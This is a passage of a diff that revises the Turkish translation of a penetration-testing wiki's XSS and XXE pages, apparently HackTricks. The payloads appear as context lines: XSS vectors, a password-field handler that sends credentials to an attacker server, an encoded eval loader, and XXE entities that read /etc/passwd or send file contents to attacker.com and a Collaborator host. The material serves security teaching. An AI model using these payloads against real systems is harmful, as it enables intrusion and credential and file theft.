**Yöneticiye self XSS'inizi tetikletip çerezlerini/oturumunu çalabilirsiniz.**
|
||||
|
||||
## Diğer Bypass'lar
|
||||
|
||||
@ -783,7 +783,7 @@ Eğer bazı self XSS bulursanız ve web sayfası **yöneticiler için oturum yan
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
**RoR toplu atama** nedeniyle HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir.\
|
||||
**RoR kütle ataması** nedeniyle, HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir.\
|
||||
Form örneği ([bu rapordan](https://hackerone.com/reports/709336)), eğer yükü gönderirseniz:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -828,7 +828,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
|
||||
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
|
||||
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
|
||||
|
||||
### Sadece Harfler, Sayılar ve Noktalar
|
||||
@ -837,7 +837,7 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
|
||||
|
||||
### XSS için Geçerli `<script>` İçerik Türleri
|
||||
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alınmıştır) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
|
||||
> ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (‘application/octet-stream’) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
|
||||
|
||||
@ -863,7 +863,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Script Türleri için XSS
|
||||
### XSS için Script Türleri
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script yüklemek için hangi türler belirtilebilir?
|
||||
```html
|
||||
@ -871,7 +871,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
Cevap şudur:
|
||||
|
||||
- **module** (varsayılan, açıklanacak bir şey yok)
|
||||
- **modül** (varsayılan, açıklamaya gerek yok)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyası olarak paketlemenizi sağlayan bir özelliktir.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -882,7 +882,7 @@ Cevap şudur:
|
||||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır.
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
@ -899,7 +899,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, böylece XSS tetiklenebilir.
|
||||
Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı; bu, XSS'yi tetikleyebilir.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik, önceden render edilmesinden kaynaklanan bazı sorunları çözmek için tasarlanmıştır. Şöyle çalışır:
|
||||
```html
|
||||
@ -1379,7 +1379,7 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır.
|
||||
Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir, istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır.
|
||||
|
||||
### Keylogger
|
||||
|
||||
@ -1500,7 +1500,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Gizli İçeriğe Erişim
|
||||
|
||||
[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenilebilir ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir:
|
||||
[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenmek mümkündür ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1523,7 +1523,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Diğer Açıkları Kötüye Kullanma
|
||||
## XSS Diğer güvenlik açıklarını istismar etme
|
||||
|
||||
### Markdown'da XSS
|
||||
|
||||
@ -1533,25 +1533,25 @@ Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirs
|
||||
xss-in-markdown.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS'den SSRF'ye
|
||||
### XSS ile SSRF
|
||||
|
||||
**Önbellek kullanan** bir sitede XSS mi elde ettiniz? Bu yükle birlikte Edge Side Include Injection ile **bunu SSRF'ye yükseltmeyi** deneyin:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşabilirsiniz!\
|
||||
Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşın!\
|
||||
Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### Dinamik oluşturulan PDF'de XSS
|
||||
|
||||
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu** **çalıştırması için kandırmayı** deneyebilirsiniz.\
|
||||
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\
|
||||
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi** enjekte etmeyi denemek faydalı olabilir:
|
||||
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
|
||||
@ -4,23 +4,23 @@
|
||||
|
||||
## XML Temelleri
|
||||
|
||||
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, buna rağmen AJAX teknolojisindeki ilk rolü önemlidir.
|
||||
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, ancak AJAX teknolojisindeki ilk rolü nedeniyle hala önemlidir.
|
||||
|
||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişki yaşamamak için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
||||
- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
|
||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişmeyi önlemek için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
||||
- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanabilir.
|
||||
- **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
|
||||
- **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, özellikle XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
|
||||
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dış bant tespit tekniklerine olanak tanır.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Ana saldırılar
|
||||
|
||||
[**Bu saldırıların çoğu, harika Portswiggers XEE laboratuvarları kullanılarak test edilmiştir: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
[**Bu saldırıların çoğu, harika Portswigger XEE laboratuvarları kullanılarak test edilmiştir: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Yeni Varlık testi
|
||||
|
||||
Bu saldırıda basit bir yeni VARLIK beyanının çalışıp çalışmadığını test edeceğim.
|
||||
Bu saldırıda, basit bir yeni VARLIK beyanının çalışıp çalışmadığını test edeceğim.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
@ -35,7 +35,7 @@ Bu saldırıda basit bir yeni VARLIK beyanının çalışıp çalışmadığın
|
||||
|
||||
`/etc/passwd` dosyasını farklı şekillerde okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
Bu ilk durumda, SYSTEM "_\*\*file:///\*\*etc/passwd_" ifadesinin de çalışacağını unutmayın.
|
||||
Bu ilk durumda, SYSTEM "_**file:///**etc/passwd_" ifadesinin de çalışacağını unutmayın.
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
@ -43,7 +43,7 @@ Bu ilk durumda, SYSTEM "_\*\*file:///\*\*etc/passwd_" ifadesinin de çalışaca
|
||||
```
|
||||
.png>)
|
||||
|
||||
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswiggers laboratuvarları durumu değil)
|
||||
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswigger laboratuvarları durumu değil)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
@ -65,7 +65,7 @@ Bu üçüncü durumda `Element stockCheck` ifadesini ANY olarak tanımladığım
|
||||
|
||||
### Dizin listeleme
|
||||
|
||||
**Java** tabanlı uygulamalarda, bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (dosya yerine sadece dizini istemek):
|
||||
**Java** tabanlı uygulamalarda, XXE aracılığıyla bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (sadece dosya yerine dizini istemek):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -83,13 +83,13 @@ Bir XXE, bir bulut içindeki bir SSRF'yi kötüye kullanmak için kullanılabili
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Kullanarak **önceki yorumlanan teknik** sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediği** içindir, bu durumda **XML parametre varlıkları** kullanmayı deneyebilirsiniz:
|
||||
Kullanarak **önceki yorumlanan tekniği**, sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediğindendir**, bu durumda **XML parametre varlıklarını** kullanmayı deneyebilirsiniz:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - Verileri dışarıdan sızdırma
|
||||
### "Blind" SSRF - Dışı bantta veri sızdırma
|
||||
|
||||
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
|
||||
|
||||
@ -107,8 +107,8 @@ Yapı şu şekildedir:
|
||||
Bu DTD tarafından yürütülen adımlar şunlardır:
|
||||
|
||||
1. **Parametre Varlıklarının Tanımı:**
|
||||
- Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyan bir varlık olarak oluşturulur.
|
||||
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
|
||||
- Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
|
||||
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i ilan eder. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
|
||||
2. **Varlıkların Yürütülmesi:**
|
||||
- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik tanımının yürütülmesine yol açar.
|
||||
- Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir.
|
||||
@ -144,15 +144,15 @@ Web sunucusunun yanıtı, `/etc/passwd` dosyasının içeriğini gösteren bir h
|
||||
|
||||
.png>)
|
||||
|
||||
_**Lütfen harici DTD'nin, bir varlığı ikinci bir varlık içinde dahil etmemize izin verdiğini (\*\***`eval`\***\*), ancak dahili DTD'de bunun yasak olduğunu unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.**_
|
||||
_**Dış DTD'nin, ikinci `eval` içinde bir varlık dahil etmemize izin verdiğini, ancak iç DTD'de bunun yasak olduğunu lütfen unutmayın. Bu nedenle, genellikle dış DTD kullanmadan bir hatayı zorlayamazsınız.**_
|
||||
|
||||
### **Hata Tabanlı (sistem DTD)**
|
||||
|
||||
Peki, **dışa dönük etkileşimlerin engellendiği** durumlarda kör XXE zafiyetleri hakkında ne söyleyebiliriz (harici bağlantılar mevcut değil)?
|
||||
Peki, **dış bağlantılar engellendiğinde** kör XXE zafiyetleri hakkında ne düşünüyorsunuz?
|
||||
|
||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, harici olarak tanımlanan varlıkların dahili olarak yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının, dahili bir DTD içinden yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, dışarıda tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu dış bağlantıları engellediğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||
|
||||
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
|
||||
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu varsayalım. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -167,11 +167,11 @@ Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity`
|
||||
```
|
||||
Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
||||
|
||||
- `local_dtd` adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.
|
||||
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir ayrıştırma hatası oluşturmak için tasarlanmıştır.
|
||||
- `local_dtd` adında bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.
|
||||
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, bir ayrıştırma hatası oluşturmak için tasarlanmıştır ve `/etc/passwd` dosyasının içeriğini açığa çıkarır.
|
||||
- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismar için hedeflenen hata mesajının iletilmesine neden olur.
|
||||
|
||||
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adlı bir varlık içeren bir DTD'ye sahiptir.
|
||||
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adında bir varlık içeren bir DTD'ye sahiptir.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -188,14 +188,14 @@ Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu **sunucunun kullandığı aynı **OS / Yazılım**ı kurarak ve **bazı varsayılan DTD'leri arayarak** yapabilirsiniz veya sistemler içindeki **varsayılan DTD'lerin bir listesini alarak** ve bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
|
||||
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **kurup** bazı varsayılan DTD'leri **arama** yaparak veya sistemler içindeki **varsayılan DTD'lerin** bir listesini **alıp** bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) adresini kontrol edin.
|
||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) adresine bakın.
|
||||
|
||||
### Sistemde DTD'leri Bulma
|
||||
|
||||
@ -221,13 +221,13 @@ Testing 0 entities : []
|
||||
|
||||
Bu saldırının daha derinlemesine bir açıklaması için, **Detectify'den** [**bu harika yazının**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **ikinci bölümüne göz atın**.
|
||||
|
||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların bir XLSX formatında elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Parser'ın elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması gerekecektir.
|
||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması gerekecektir.
|
||||
|
||||
Bu güvenlik açığını test etmek için, **bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
||||
Bu güvenlik açığını test etmek için, **XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
||||
|
||||
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin editöründe (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
|
||||
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
|
||||
|
||||
Değiştirilen XML satırları, iki kök XML nesnesi arasında yerleştirilmelidir. URL'nin izlenebilir bir URL ile değiştirilmesi önemlidir.
|
||||
Değiştirilen XML satırları, iki kök XML nesnesi arasında yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir.
|
||||
|
||||
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
|
||||
|
||||
@ -235,15 +235,15 @@ Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yükle
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır ve hem yerel hem de uzak dosyalar için geçerlidir.
|
||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzak dosyalar için **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyaları aracılığıyla XXE'yi istismar etmek için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl istismar edeceğinizi öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl kötüye kullanacağınızı öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adımdan oluşur:
|
||||
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adım içerir:
|
||||
|
||||
1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır.
|
||||
